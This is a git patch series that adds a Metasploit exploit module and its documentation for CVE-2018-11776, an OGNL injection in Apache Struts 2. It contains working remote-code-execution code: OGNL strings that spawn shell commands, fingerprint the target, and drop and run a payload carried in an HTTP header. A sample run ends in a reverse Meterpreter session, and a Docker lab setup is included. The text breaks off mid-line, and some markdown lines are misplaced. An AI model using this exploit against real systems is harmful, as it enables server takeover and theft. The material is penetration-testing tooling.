From b373dcc5d4d3bbca4eba40a95cf711d62ba76bfc Mon Sep 17 00:00:00 2001 From: asoto-r7 Date: Tue, 28 Aug 2018 16:53:26 -0500 Subject: [PATCH 1/8] First draft of module and documentation for struts_namespace_rce against CVE-2018-11776 --- .../multi/http/struts_namespace_rce.md | 129 ++++++++++++++++ .../multi/http/struts_namespace_rce.rb | 144 ++++++++++++++++++ 2 files changed, 273 insertions(+) create mode 100644 documentation/modules/exploit/multi/http/struts_namespace_rce.md create mode 100644 modules/exploits/multi/http/struts_namespace_rce.rb diff --git a/documentation/modules/exploit/multi/http/struts_namespace_rce.md b/documentation/modules/exploit/multi/http/struts_namespace_rce.md new file mode 100644 index 000000000000..5c6ff21ed28c --- /dev/null +++ b/documentation/modules/exploit/multi/http/struts_namespace_rce.md @@ -0,0 +1,129 @@ +CVE-2018-11776 is a critical vulnerability in the way Apache Struts2 handles namespaces and redirection, which permits an attacker to execute [OGNL(https://commons.apache.org/proper/commons-ognl/language-guide.html) remotely. Using OGNL, the attacker can modify files and execute commands. + +The vulnerability was reported to Apache by [Man Yue Mo] from Semmle in April 2018. It was widely publicized in August 2018, with PoCs appearing shortly thereafter. + +## Vulnerable Application + + The Struts showcase app, with a slight adaptation to introduce the vulnerability, works reliabliy as a practice environment. + *@hook-s3c* did an amazing job with [their writeup](https://github.com/hook-s3c/CVE-2018-11776-Python-PoC/blob/master/README.md), which I'll include exerpts of here: + + 1. From a stock Ubuntu VM, install docker: + ``` + sudo apt update && sudo apt install docker.io + ``` + + 2. Download a vulnerable Struts showcase application inside a docker container: + ``` + sudo docker pull piesecurity/apache-struts2-cve-2017-5638 + sudo docker run -d --name struts2 -p 32771:8080 piesecurity/apache-struts2-cve-2017-5638 + CONTAINER_ID=`sudo docker ps -l -q` + ``` + + 3. Now that the container is running, open a terminal inside of it: + ``` + sudo docker exec -it $CONTAINER_ID /bin/bash + ``` + + 4. From within the container, install your text editor of choice and modify the Struts configs: + ``` + sudo apt update && sudo apt install nano + nano /usr/local/tomcat/webapps/ROOT/WEB-INF/classes/struts.xml + ``` + + 5. Update the struts config to add this to above line #11: + ``` + + ``` + + 6. Update the same struts config file to add this above line #78: + ``` + + + date.action + + + ``` + + 7. Still within the container, shutdown the environment: + ``` + /usr/local/tomcat/bin/shutdown.sh + ``` + + 8. Upon completion, the container will shutdown and you'll return to the host environment. Restart the container, now with a vulnerable endpoint: + ``` + sudo docker start $CONTAINER_ID + ``` + + Congratulations. You now have a vulnerable Struts server. If you're following these instructions, your server should be listening on 0.0.0.0:32771. To confirm: + ``` + INTERFACE=`ip route list 0.0.0.0/0 | cut -d' ' -f5` + IPADDRESS=`ip addr show $INTERFACE | grep -Po 'inet \K[\d.]+'` + PORT_NUM=`sudo docker port $CONTAINER_ID | sed 's/.*://'` + echo "Struts container is listening on $IPADDRESS:$PORT_NUM" + ``` + +## Verification Steps + + Confirm that check functionality works: + - [ ] Install the application using the steps above. + - [ ] Start msfconsole. + - [ ] Load the module: ```use exploit/multi/http/struts_namespace_rce``` + - [ ] Set the RHOST. + - [ ] Set an invalid ACTION: ```set ACTION wrong.action``` + - [ ] Confirm the target is *not* vulnerable: ```check``` + - [ ] Observe that the target is *not* vulnerable: ```The target is not exploitable.``` + - [ ] Set a valid ACTION: ```set ACTION help.action``` + - [ ] Confirm that the target is vulnerable: ```The target is vulnerable.``` + + Confirm that command execution functionality works: + - [ ] Set a payload: ```set PAYLOAD cmd/unix/generic``` + - [ ] Set a command to be run: ```set CMD hostname``` + - [ ] Run the exploit: ```run``` + - [ ] Confirm the output is the container ID of your docker environment, e.g: ```b3d9b350d9b6``` + - [ ] You will not be given a shell (yet). + + Confirm that payload upload and execution works: + - [ ] It doesn't (yet). +## Options + + **TARGETURI** + + The path to the struts application. Note that this does not include the endpoint. In the environment above, the path is `/`. + + **ACTION** + + The endpoint name. In the environment above, the endpoint is `help.action`. + +## Scenarios + +### Version of software and OS as applicable + + Checking a vulnerable endpoint, as installed in the above steps. + + ``` + msf > use exploit/multi/http/struts_namespace_rce + msf5 exploit(multi/http/struts_namespace_rce) > set RHOSTS 192.168.199.135 + msf5 exploit(multi/http/struts_namespace_rce) > set RPORT 32771 + msf5 exploit(multi/http/struts_namespace_rce) > set ACTION help.action + ACTION => help.action + msf5 exploit(multi/http/struts_namespace_rce) > check + [+] 192.168.199.135:32771 The target is vulnerable. + ``` + + Running an arbitrary command on the above-described environment: + + ``` + msf5 exploit(multi/http/struts_namespace_rce) > set VERBOSE true + msf5 exploit(multi/http/struts_namespace_rce) > set PAYLOAD cmd/unix/generic +PAYLOAD => cmd/unix/generic +msf5 exploit(multi/http/struts_namespace_rce) > set CMD hostname +CMD => hostname +msf5 exploit(multi/http/struts_namespace_rce) > run +[*] Submitted OGNL: (#_memberAccess['allowStaticMethodAccess']=true).(#cmd='hostname').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush()) + +[*] Command ran. Output from command: +b3d9b350d9b6 + +[*] Exploit completed, but no session was created. +msf5 exploit(multi/http/struts_namespace_rce) > + ``` diff --git a/modules/exploits/multi/http/struts_namespace_rce.rb b/modules/exploits/multi/http/struts_namespace_rce.rb new file mode 100644 index 000000000000..03d86ba163a7 --- /dev/null +++ b/modules/exploits/multi/http/struts_namespace_rce.rb @@ -0,0 +1,144 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::CmdStager # https://github.com/rapid7/metasploit-framework/wiki/How-to-use-command-stagers + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Apache Struts Jakarta Multipart Parser OGNL Injection', + 'Description' => %q{ + This module exploits a remote code execution vulnerability in Apache Struts + version 2.3 - 2.3.4, and 2.5 - 2.5.16. Remote Code Execution can be performed + via an endpoint that makes use of a redirect action. + + Native payloads will be converted to executables and dropped in the + server's temp dir. If this fails, try a cmd/* payload, which won't + have to write to the disk. + }, + 'Author' => [ + 'Man Yue Mo', # Discovery + 'hook-s3c', # PoC + 'asoto-r7', # Metasploit module + 'wvu-r7' # Metasploit module + ], + 'References' => [ + ['CVE', '2018-11776'], + ['URL', 'https://lgtm.com/blog/apache_struts_CVE-2018-11776'], + ['URL', 'https://cwiki.apache.org/confluence/display/WW/S2-057'] + ], + 'Privileged' => true, + 'Targets' => [ + [ + 'Universal', { + 'Platform' => %w{ unix windows linux }, + 'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ], + }, + ], + ], + 'DisclosureDate' => 'Apr 10 2018', + 'DefaultTarget' => 0)) + + register_options( + [ + Opt::RPORT(8080), + OptString.new('TARGETURI', [ true, 'A valid base path to a struts application', '/' ]), + OptString.new('ACTION', [ true, 'A valid endpoint that is configured as a redirect action', 'showcase.action' ]) + ] + ) + register_advanced_options( + [ + OptString.new('HTTPMethod', [ true, 'The HTTP method to send in the request. Cannot contain spaces', 'GET' ]) + ] + ) + end + + def check + # Generate two random numbers, ask the target to add them together. + # If it does, it's vulnerable. + a = rand(10000) + b = rand(10000) + c = a+b + + ognl = "#{a}+#{b}" + + begin + resp = send_struts_request(ognl) + rescue Msf::Exploit::Failed => error + print_error(error.to_s) + return Exploit::CheckCode::Unknown + end + + # If vulnerable, the server should return an HTTP 302 (Redirect) + # and the 'Location' header should contain the sum of our two numbers (a+b) + if resp && resp.code == 302 && (resp.headers['Location'].include?c.to_s) + vprint_status("Submitted OGNL: #{ognl}") + vprint_status("Redirected to: #{resp.headers['Location']}") + Exploit::CheckCode::Vulnerable + else + Exploit::CheckCode::Safe + end + end + + def exploit + case payload.arch.first + when ARCH_CMD + resp = execute_command(payload.encoded) + else + fail_with(Failure::BadConfig,"Only cmd payloads are currently supported.") + resp = send_payload() + end + end + + def send_struts_request(ognl) + uri = normalize_uri("/${#{ognl}}/",datastore['ACTION']) + + resp = send_request_cgi( + 'encode' => true, + 'uri' => uri, + 'method' => datastore['HTTPMethod'] + ) + + if resp && resp.code == 404 + fail_with(Failure::BadConfig, 'Server returned HTTP 404, please double check TARGETURI and ACTION') + end + resp + end + + def execute_command(cmd_input) + # The following OGNL will run arbitrary commands on Windows and Linux + # targets, as well as returning STDOUT and STDERR. + # In my testing, the request timed out after 3 seconds. + ognl = "(#_memberAccess['allowStaticMethodAccess']=true)." + ognl << "(#cmd='" + cmd_input + "')." + ognl << "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))." + ognl << "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'bash','-c',#cmd}))." + ognl << "(#p=new java.lang.ProcessBuilder(#cmds))." + ognl << "(#p.redirectErrorStream(true))." + ognl << "(#process=#p.start())." + ognl << "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))." + ognl << "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))." + ognl << "(#ros.flush())" + + vprint_status("Submitted OGNL: #{ognl}") + + resp = send_struts_request(ognl) + + if resp && resp.code == 200 + print_status("Command ran. Output from command:\n#{resp.body}") + else + print_error("Failed to run command. Response from server: #{resp.to_s}") + end + end + + def send_payload(exe) + # TODO: Have the ability to upload/run payloads + + # send_struts_request(ognl) + end +end From 35022d8332f166130d586eaafd1cc29fbb854703 Mon Sep 17 00:00:00 2001 From: asoto-r7 Date: Fri, 31 Aug 2018 13:39:42 -0500 Subject: [PATCH 2/8] Added payload upload+execution and OGNL-specific URI encoding --- .../multi/http/struts_namespace_rce.rb | 251 ++++++++++++++++-- 1 file changed, 222 insertions(+), 29 deletions(-) diff --git a/modules/exploits/multi/http/struts_namespace_rce.rb b/modules/exploits/multi/http/struts_namespace_rce.rb index 03d86ba163a7..18d97776a14b 100644 --- a/modules/exploits/multi/http/struts_namespace_rce.rb +++ b/modules/exploits/multi/http/struts_namespace_rce.rb @@ -7,11 +7,14 @@ class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient - include Msf::Exploit::CmdStager # https://github.com/rapid7/metasploit-framework/wiki/How-to-use-command-stagers + include Msf::Exploit::EXE + + # Eschewing CmdStager for now, since the use of '\' and ';' are killing me + #include Msf::Exploit::CmdStager # https://github.com/rapid7/metasploit-framework/wiki/How-to-use-command-stagers def initialize(info = {}) super(update_info(info, - 'Name' => 'Apache Struts Jakarta Multipart Parser OGNL Injection', + 'Name' => 'Apache Struts2 Namespace RCE', 'Description' => %q{ This module exploits a remote code execution vulnerability in Apache Struts version 2.3 - 2.3.4, and 2.5 - 2.5.16. Remote Code Execution can be performed @@ -21,11 +24,12 @@ def initialize(info = {}) server's temp dir. If this fails, try a cmd/* payload, which won't have to write to the disk. }, + #TODO: Is that second paragraph above still accurate? 'Author' => [ 'Man Yue Mo', # Discovery 'hook-s3c', # PoC 'asoto-r7', # Metasploit module - 'wvu-r7' # Metasploit module + 'wvu' # Metasploit module ], 'References' => [ ['CVE', '2018-11776'], @@ -48,7 +52,8 @@ def initialize(info = {}) [ Opt::RPORT(8080), OptString.new('TARGETURI', [ true, 'A valid base path to a struts application', '/' ]), - OptString.new('ACTION', [ true, 'A valid endpoint that is configured as a redirect action', 'showcase.action' ]) + OptString.new('ACTION', [ true, 'A valid endpoint that is configured as a redirect action', 'showcase.action' ]), + OptString.new('HEADER', [ true, 'The HTTP header field used to transport the optional payload', "X-#{rand_text_alpha(4)}"] ) ] ) register_advanced_options( @@ -77,7 +82,6 @@ def check # If vulnerable, the server should return an HTTP 302 (Redirect) # and the 'Location' header should contain the sum of our two numbers (a+b) if resp && resp.code == 302 && (resp.headers['Location'].include?c.to_s) - vprint_status("Submitted OGNL: #{ognl}") vprint_status("Redirected to: #{resp.headers['Location']}") Exploit::CheckCode::Vulnerable else @@ -90,55 +94,244 @@ def exploit when ARCH_CMD resp = execute_command(payload.encoded) else - fail_with(Failure::BadConfig,"Only cmd payloads are currently supported.") + # fail_with(Failure::BadConfig,"Only cmd payloads are currently supported.") resp = send_payload() end end - def send_struts_request(ognl) - uri = normalize_uri("/${#{ognl}}/",datastore['ACTION']) + def encode_ognl(ognl, string_delimiter:"'") + # Check and fail if the command contains the follow bad characters: + # ';' seems to terminates the OGNL statement + # '/' causes the target to return an HTTP/400 error + # '\' causes the target to return an HTTP/400 error (sometimes?) + # '\r' ends the GET request prematurely + # '\n' ends the GET request prematurely + + # TODO: Make sure the following line is uncommented + bad_chars = [';','\\','\r','\n'] # and maybe '/' + bad_chars.each do |c| + if ognl.include?c + print_error("Bad OGNL request: #{ognl}") + fail_with(Failure::BadConfig, "OGNL request cannot contain a '#{c}'") + end + end + + # The following list of characters *must* be encoded or ORNL will asplode + encodable_chars = { "%": "%25", # Always do this one first. :-) + " ": "%20", + "\"":"%22", + "#": "%23", + "'": "%27", + "<": "%3c", + ">": "%3e", + "?": "%3f", + "^": "%5e", + "`": "%60", + "{": "%7b", + "|": "%7c", + "}": "%7d", + #"\/":"%2f", # Don't do this. Just leave it front-slashes in as normal. + #";": "%3b", # Doesn't work. Anyone have a cool idea for a workaround? + #"\\":"%5c", # Doesn't work. Anyone have a cool idea for a workaround? + #"\\":"%5c%5c", # Doesn't work. Anyone have a cool idea for a workaround? + } + + encodable_chars.each do |k,v| + #print_status(" #{k} -> #{v}") + #ognl.gsub!(k,v) # TypeError wrong argument type Symbol (expected Regexp) + ognl.gsub!("#{k}","#{v}") + end + return ognl + end + + def send_struts_request(ognl, payload: nil) + +=begin #badchar-checking code + pre = ognl +=end + + ognl = "${#{ognl}}" + vprint_status("Submitted OGNL: #{ognl}") + ognl = encode_ognl(ognl) + + headers = {'Keep-Alive': 'timeout=5, max=1000'} + + unless payload.nil? + vprint_status("Embedding payload of #{payload.length} bytes") + headers[datastore['HEADER']] = payload + end + + # TODO: Embed OGNL in an HTTP header to hide it from the Tomcat logs + uri = "/#{ognl}/#{datastore['ACTION']}" resp = send_request_cgi( - 'encode' => true, + #'encode' => true, # this fails to encode '\', which is a problem for me 'uri' => uri, - 'method' => datastore['HTTPMethod'] + 'method' => datastore['HTTPMethod'], + 'headers' => headers ) if resp && resp.code == 404 fail_with(Failure::BadConfig, 'Server returned HTTP 404, please double check TARGETURI and ACTION') end + +=begin #badchar-checking code + print_status("Response code: #{resp.code}") + #print_status("Response recv: BODY '#{resp.body}'") if resp.body + if resp.headers['Location'] + print_status("Response recv: LOC: #{resp.headers['Location'].split('/')[1]}") + if resp.headers['Location'].split('/')[1] == pre[1..-2] + print_good("GOT 'EM!") + else + print_error(" #{pre[1..-2]}") + end + end +=end + resp end - def execute_command(cmd_input) + def profile_target + # Use OGNL to extract properties from the Java environment + + properties = { 'os.name': nil, # e.g. 'Linux' + 'os.arch': nil, # e.g. 'amd64' + 'os.version': nil, # e.g. '4.4.0-112-generic' + 'user.name': nil, # e.g. 'root' + #'user.home': nil, # e.g. '/root' (didn't work in testing) + 'user.language': nil, # e.g. 'en' + #'java.io.tmpdir': nil, # e.g. '/usr/local/tomcat/temp' (didn't work in testing) + } + + ognl = "(#_memberAccess['allowStaticMethodAccess']=true).('#{rand_text_alpha(2)}')" + properties.each do |k,v| + ognl << "+(@java.lang.System@getProperty('#{k}'))+':'" + end + ognl = ognl[0...-4] + + r = send_struts_request(ognl) + + if r && r.code == 302 && r.headers['Location'] + # r.headers['Location'] should look like '/bILinux:amd64:4.4.0-112-generic:root:en/help.action' + # Extract the OGNL output from the Location path, and strip the two random chars + s = r.headers['Location'].split('/')[1][2..-1] + + # Confirm that all fields were returned, and non include extra (:) delimiters + # If the OGNL fails, we might get a partial result back, in which case, we'll abort. + if s.count(':') > properties.length + print_error("Failed to profile target. Response from server: #{r.to_s}") + fail_with(Failure::UnexpectedReply,"Target responded with unexpected profiling data") + end + + # Separate the colon-delimited properties and store in the 'properties' hash + s = s.split(':') + i = 0 + properties.each do |k,v| + properties[k] = s[i] + i += 1 + end + + print_good("Target profiled successfully: #{properties[:'os.name']} #{properties[:'os.version']}" + + " #{properties[:'os.arch']}, running as #{properties[:'user.name']}") + return properties + else + print_error("Failed to profile target. Response from server: #{r.to_s}") + fail_with(Failure::UnexpectedReply, 'Server did not respond properly to profiling attempt.') + end + end + + def execute_command(cmd_input, opts={}) # WTF is opts for? + # Semicolons appear to be a bad character in OGNL. cmdstager doesn't understand that. + # We'll replace ';' with '||' and hope for the best + + if (cmd_input.include?';') + print_error("WARNING: Command contains bad characters: semicolons (;). Substituting '||'") + vprint_status("BEFORE: #{cmd_input}") + cmd_input = cmd_input.gsub(";" ,"||") + vprint_status("AFTER: #{cmd_input}") + end + + properties = profile_target + + os = properties[:'os.name'].downcase + if os.include?'linux' or os.include?'nix' + cmd = "{'bash','-c','#{cmd_input}'}" + elsif os.include?'win' + cmd = "{'cmd.exe','/c','#{cmd_input}'}" + else + vprint_error("Failed to detect target OS. Attempting to execute command directly") + cmd = cmd_input + end + # The following OGNL will run arbitrary commands on Windows and Linux - # targets, as well as returning STDOUT and STDERR. - # In my testing, the request timed out after 3 seconds. + # targets, as well as returning STDOUT and STDERR. In my testing, + # on Struts2 in Tomcat 7.0.79, commands timed out after 18-19 seconds. + + vprint_status("Executing: #{cmd}") + ognl = "(#_memberAccess['allowStaticMethodAccess']=true)." - ognl << "(#cmd='" + cmd_input + "')." - ognl << "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))." - ognl << "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'bash','-c',#cmd}))." - ognl << "(#p=new java.lang.ProcessBuilder(#cmds))." + ognl << "(#p=new java.lang.ProcessBuilder(#{cmd}))." ognl << "(#p.redirectErrorStream(true))." ognl << "(#process=#p.start())." - ognl << "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))." - ognl << "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))." - ognl << "(#ros.flush())" + ognl << "(#r=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))." + ognl << "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#r))." + ognl << "(#r.flush())" - vprint_status("Submitted OGNL: #{ognl}") - - resp = send_struts_request(ognl) + r = send_struts_request(ognl) - if resp && resp.code == 200 - print_status("Command ran. Output from command:\n#{resp.body}") + if r && r.code == 200 + print_good("Command executed:\n#{r.body}") else - print_error("Failed to run command. Response from server: #{resp.to_s}") + print_error("Failed to run command. Response from server: #{r.to_s}") end end - def send_payload(exe) - # TODO: Have the ability to upload/run payloads + def send_payload() + # Probe for the target OS and architecture + properties = profile_target + + os = properties[:'os.name'].downcase + if os.include?'win' + fail_with(Failure::NoTarget,"Windows currently unsupported.") + #execute_cmdstager(flavor: :vbs) + elsif os.include?'linux' or os.include?'nix' + # cool. Keep going + else + print_error("Unrecognized operating system.") + fail_with(Failure::NoTarget, "Unsupported target platform!") + end + + data_header = datastore['HEADER'] + if data_header.empty? + fail_with(Failure::BadConfig,"HEADER parameter cannot be blank when sending a payload") + end - # send_struts_request(ognl) + # d = data stream from HTTP header + # f = path to temp file + # s = stream/handle to temp file + ognl = "(#_memberAccess['allowStaticMethodAccess']=true)." + ognl << %Q|(#d=@org.apache.struts2.ServletActionContext@getRequest().getHeader('#{data_header}')).| + ognl << %Q|(#f=@java.io.File@createTempFile('deleteme','tmp')).| + ognl << %q|(#f.setExecutable(true)).| + ognl << %q|(#f.deleteOnExit()).| + ognl << %q|(#s=new java.io.FileOutputStream(#f)).| + ognl << %q|(#d=new sun.misc.BASE64Decoder().decodeBuffer(#d)).| + ognl << %q|(#s.write(#d)).| + ognl << %q|(#s.close()).| + ognl << %q|(#p=new java.lang.ProcessBuilder({#f.getAbsolutePath()})).| + ognl << %q|(#p.start()).| + ognl << %q|(#f.delete()).| + + success_string = rand_text_alpha(4) + ognl << "('#{success_string}')" + + exe = [generate_payload_exe].pack("m").delete("\n") + r = send_struts_request(ognl, payload: exe) + + if r.headers['Location'].split('/')[1] == success_string + print_good("Payload successfully dropped and executed.") + else + print_error("Payload failed.") + end end end From 8fe8bf62e3fac47022b2758ef1cf3140b498a2f8 Mon Sep 17 00:00:00 2001 From: asoto-r7 Date: Fri, 31 Aug 2018 13:48:22 -0500 Subject: [PATCH 3/8] Renamed to match existing `struts2_content_type_ognl` and improved comments --- .../http/{struts_namespace_rce.rb => struts2_namespace_ognl.rb} | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename modules/exploits/multi/http/{struts_namespace_rce.rb => struts2_namespace_ognl.rb} (100%) diff --git a/modules/exploits/multi/http/struts_namespace_rce.rb b/modules/exploits/multi/http/struts2_namespace_ognl.rb similarity index 100% rename from modules/exploits/multi/http/struts_namespace_rce.rb rename to modules/exploits/multi/http/struts2_namespace_ognl.rb From da7a29f7156337bae69efe0873cd119904992551 Mon Sep 17 00:00:00 2001 From: asoto-r7 Date: Fri, 31 Aug 2018 13:57:41 -0500 Subject: [PATCH 4/8] Documentation update --- ...space_rce.md => struts2_namespace_ognl.md} | 30 +++++++++++++++++-- 1 file changed, 28 insertions(+), 2 deletions(-) rename documentation/modules/exploit/multi/http/{struts_namespace_rce.md => struts2_namespace_ognl.md} (81%) diff --git a/documentation/modules/exploit/multi/http/struts_namespace_rce.md b/documentation/modules/exploit/multi/http/struts2_namespace_ognl.md similarity index 81% rename from documentation/modules/exploit/multi/http/struts_namespace_rce.md rename to documentation/modules/exploit/multi/http/struts2_namespace_ognl.md index 5c6ff21ed28c..06502927438f 100644 --- a/documentation/modules/exploit/multi/http/struts_namespace_rce.md +++ b/documentation/modules/exploit/multi/http/struts2_namespace_ognl.md @@ -50,6 +50,7 @@ The vulnerability was reported to Apache by [Man Yue Mo] from Semmle in April 20 ``` 8. Upon completion, the container will shutdown and you'll return to the host environment. Restart the container, now with a vulnerable endpoint: +msf5 exploit(multi/http/struts2_namespace_ognl) > set LHOST 192.168.199.134 ``` sudo docker start $CONTAINER_ID ``` @@ -83,7 +84,10 @@ The vulnerability was reported to Apache by [Man Yue Mo] from Semmle in April 20 - [ ] You will not be given a shell (yet). Confirm that payload upload and execution works: - - [ ] It doesn't (yet). + - [ ] Set a payload, e.g.: ```set PAYLOAD linux/x64/meterpreter/reverse_tcp``` + - [ ] Configure `LHOST` and `RHOST` as necessary. + - [ ] Run the exploit: ```run``` +msf5 exploit(multi/http/struts2_namespace_ognl) > set LHOST 192.168.199.134 ## Options **TARGETURI** @@ -98,7 +102,7 @@ The vulnerability was reported to Apache by [Man Yue Mo] from Semmle in April 20 ### Version of software and OS as applicable - Checking a vulnerable endpoint, as installed in the above steps. + Checking a vulnerable endpoint, as installed in the above steps: ``` msf > use exploit/multi/http/struts_namespace_rce @@ -127,3 +131,25 @@ b3d9b350d9b6 [*] Exploit completed, but no session was created. msf5 exploit(multi/http/struts_namespace_rce) > ``` + + Getting a Meterpreter session on the above-described environment: + +``` + +msf5 > use exploit/multi/http/struts2_namespace_ognl +msf5 exploit(multi/http/struts2_namespace_ognl) > set ACTION help.action +msf5 exploit(multi/http/struts2_namespace_ognl) > set RHOSTS 192.168.199.135 +msf5 exploit(multi/http/struts2_namespace_ognl) > set RPORT 32771 +msf5 exploit(multi/http/struts2_namespace_ognl) > set PAYLOAD linux/x64/meterpreter/reverse_tcp +msf5 exploit(multi/http/struts2_namespace_ognl) > set LHOST 192.168.199.134 +msf5 exploit(multi/http/struts2_namespace_ognl) > run + +[*] Started reverse TCP handler on 192.168.199.134:4444 +[+] Target profiled successfully: Linux 4.4.0-112-generic amd64, running as root +[+] Payload successfully dropped and executed. +[*] Sending stage (816260 bytes) to 192.168.199.135 +[*] Meterpreter session 1 opened (192.168.199.134:4444 -> 192.168.199.135:47482) at 2018-08-31 13:15:22 -0500 + +meterpreter > +``` + From cb16f812ec95a400b2aff259bae0d137a3298879 Mon Sep 17 00:00:00 2001 From: asoto-r7 Date: Thu, 6 Sep 2018 11:50:57 -0500 Subject: [PATCH 5/8] struts2_namespace_ognl updates from code review Thanks to @wvu, @firefart, and @wchen! --- .../multi/http/struts2_namespace_ognl.rb | 66 ++++++++++--------- 1 file changed, 34 insertions(+), 32 deletions(-) diff --git a/modules/exploits/multi/http/struts2_namespace_ognl.rb b/modules/exploits/multi/http/struts2_namespace_ognl.rb index 18d97776a14b..cc962c4f43fc 100644 --- a/modules/exploits/multi/http/struts2_namespace_ognl.rb +++ b/modules/exploits/multi/http/struts2_namespace_ognl.rb @@ -14,7 +14,7 @@ class MetasploitModule < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'Apache Struts2 Namespace RCE', + 'Name' => 'Apache Struts 2 Namespace Redirect OGNL Injection', 'Description' => %q{ This module exploits a remote code execution vulnerability in Apache Struts version 2.3 - 2.3.4, and 2.5 - 2.5.16. Remote Code Execution can be performed @@ -34,7 +34,8 @@ def initialize(info = {}) 'References' => [ ['CVE', '2018-11776'], ['URL', 'https://lgtm.com/blog/apache_struts_CVE-2018-11776'], - ['URL', 'https://cwiki.apache.org/confluence/display/WW/S2-057'] + ['URL', 'https://cwiki.apache.org/confluence/display/WW/S2-057'], + ['URL', 'https://github.com/hook-s3c/CVE-2018-11776-Python-PoC'], ], 'Privileged' => true, 'Targets' => [ @@ -53,12 +54,13 @@ def initialize(info = {}) Opt::RPORT(8080), OptString.new('TARGETURI', [ true, 'A valid base path to a struts application', '/' ]), OptString.new('ACTION', [ true, 'A valid endpoint that is configured as a redirect action', 'showcase.action' ]), - OptString.new('HEADER', [ true, 'The HTTP header field used to transport the optional payload', "X-#{rand_text_alpha(4)}"] ) ] ) register_advanced_options( [ OptString.new('HTTPMethod', [ true, 'The HTTP method to send in the request. Cannot contain spaces', 'GET' ]) + OptString.new('HEADER', [ true, 'The HTTP header field used to transport the optional payload', "X-#{rand_text_alpha(4)}"] ), + OptString.new('TEMPFILE', [ true, 'The temporary filename written to disk when executing a payload', "#{rand_text_alpha(8)}"] ), ] ) end @@ -81,11 +83,11 @@ def check # If vulnerable, the server should return an HTTP 302 (Redirect) # and the 'Location' header should contain the sum of our two numbers (a+b) - if resp && resp.code == 302 && (resp.headers['Location'].include?c.to_s) + if resp.headers['Location'].include? c.to_s vprint_status("Redirected to: #{resp.headers['Location']}") - Exploit::CheckCode::Vulnerable + CheckCode::Vulnerable else - Exploit::CheckCode::Safe + CheckCode::Safe end end @@ -94,12 +96,11 @@ def exploit when ARCH_CMD resp = execute_command(payload.encoded) else - # fail_with(Failure::BadConfig,"Only cmd payloads are currently supported.") resp = send_payload() end end - def encode_ognl(ognl, string_delimiter:"'") + def encode_ognl(ognl) # Check and fail if the command contains the follow bad characters: # ';' seems to terminates the OGNL statement # '/' causes the target to return an HTTP/400 error @@ -108,14 +109,14 @@ def encode_ognl(ognl, string_delimiter:"'") # '\n' ends the GET request prematurely # TODO: Make sure the following line is uncommented - bad_chars = [';','\\','\r','\n'] # and maybe '/' + bad_chars = %w[; \\ \r \n] # and maybe '/' bad_chars.each do |c| - if ognl.include?c + if ognl.include? c print_error("Bad OGNL request: #{ognl}") fail_with(Failure::BadConfig, "OGNL request cannot contain a '#{c}'") end end - + # The following list of characters *must* be encoded or ORNL will asplode encodable_chars = { "%": "%25", # Always do this one first. :-) " ": "%20", @@ -137,7 +138,6 @@ def encode_ognl(ognl, string_delimiter:"'") } encodable_chars.each do |k,v| - #print_status(" #{k} -> #{v}") #ognl.gsub!(k,v) # TypeError wrong argument type Symbol (expected Regexp) ognl.gsub!("#{k}","#{v}") end @@ -145,7 +145,6 @@ def encode_ognl(ognl, string_delimiter:"'") end def send_struts_request(ognl, payload: nil) - =begin #badchar-checking code pre = ognl =end @@ -156,7 +155,7 @@ def send_struts_request(ognl, payload: nil) headers = {'Keep-Alive': 'timeout=5, max=1000'} - unless payload.nil? + if payload vprint_status("Embedding payload of #{payload.length} bytes") headers[datastore['HEADER']] = payload end @@ -172,7 +171,7 @@ def send_struts_request(ognl, payload: nil) ) if resp && resp.code == 404 - fail_with(Failure::BadConfig, 'Server returned HTTP 404, please double check TARGETURI and ACTION') + fail_with(Failure::UnexpectedReply, "Server returned HTTP 404, please double check TARGETURI and ACTION") end =begin #badchar-checking code @@ -220,9 +219,9 @@ def profile_target # If the OGNL fails, we might get a partial result back, in which case, we'll abort. if s.count(':') > properties.length print_error("Failed to profile target. Response from server: #{r.to_s}") - fail_with(Failure::UnexpectedReply,"Target responded with unexpected profiling data") + fail_with(Failure::UnexpectedReply, "Target responded with unexpected profiling data") end - + # Separate the colon-delimited properties and store in the 'properties' hash s = s.split(':') i = 0 @@ -236,15 +235,15 @@ def profile_target return properties else print_error("Failed to profile target. Response from server: #{r.to_s}") - fail_with(Failure::UnexpectedReply, 'Server did not respond properly to profiling attempt.') + fail_with(Failure::UnexpectedReply, "Server did not respond properly to profiling attempt.") end end - def execute_command(cmd_input, opts={}) # WTF is opts for? + def execute_command(cmd_input, opts={}) # Semicolons appear to be a bad character in OGNL. cmdstager doesn't understand that. # We'll replace ';' with '||' and hope for the best - if (cmd_input.include?';') + if cmd_input.include? ';' print_error("WARNING: Command contains bad characters: semicolons (;). Substituting '||'") vprint_status("BEFORE: #{cmd_input}") cmd_input = cmd_input.gsub(";" ,"||") @@ -252,11 +251,11 @@ def execute_command(cmd_input, opts={}) # WTF is opts for? end properties = profile_target - + os = properties[:'os.name'].downcase - if os.include?'linux' or os.include?'nix' - cmd = 